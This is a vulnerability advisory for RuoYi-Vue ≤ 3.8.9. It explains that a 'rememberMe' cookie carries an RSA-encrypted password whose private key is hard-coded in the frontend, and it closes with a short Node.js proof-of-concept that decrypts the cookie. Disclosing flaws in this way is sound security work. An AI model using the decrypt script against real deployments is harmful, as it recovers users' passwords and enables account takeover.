Password Disclosure in RuoYi-Vue≤ 3.8.9

Basic Information

BUG_Author: s0l42

Affected Version: RuoYi-Vue ≤ 3.8.9

Vendor: RuoYi-Vue GitHub Repository

Software: RuoYi-Vue

Vulnerability Files:

- ruoyi-ui/jsencrypt.js and ruoyi-ui/login.vue

Description: If user checked rememberMe in login page, the cookie will carry encrypted password in all of the following requests. However, the private key which can be used to decrypt the password is hard coded in jsencrypt.js, attacker can get encrypted password from cookie and decrypt the password with the private key.

CWE: CWE-315 and CWE-539

Attack Type：Remote

Impact: Information Disclosure, Identity Theft and Unauthorized Access

Analysis

1. In jsencrypt.js, the `privateKey` is hard coded, and there is a function `decrypt` we will use to decrypt password.

2. In login.vue, the function `handleLogin` check whether the `rememberMe` is `true`, if it is, the function will set encrypt password in `cookie`. The cookie will be carried in following requests.

3. For more, there is no strategy to protect cookie. It can be attacked easily.

PoC

The decrypt script is as follows, public key, private key and cookie can be found in web page using `f12`.

```
const JSEncrypt = require('node-jsencrypt'); const publicKey = '' const
privateKey = '' const passwd = '' function encrypt(txt) { const
encryptor = new JSEncrypt() encryptor.setPublicKey(publicKey) return
encryptor.encrypt(txt) } function decrypt(txt) { const encryptor = new
JSEncrypt() encryptor.setPrivateKey(privateKey) return
encryptor.decrypt(txt) } console.log(decrypt(passwd))
```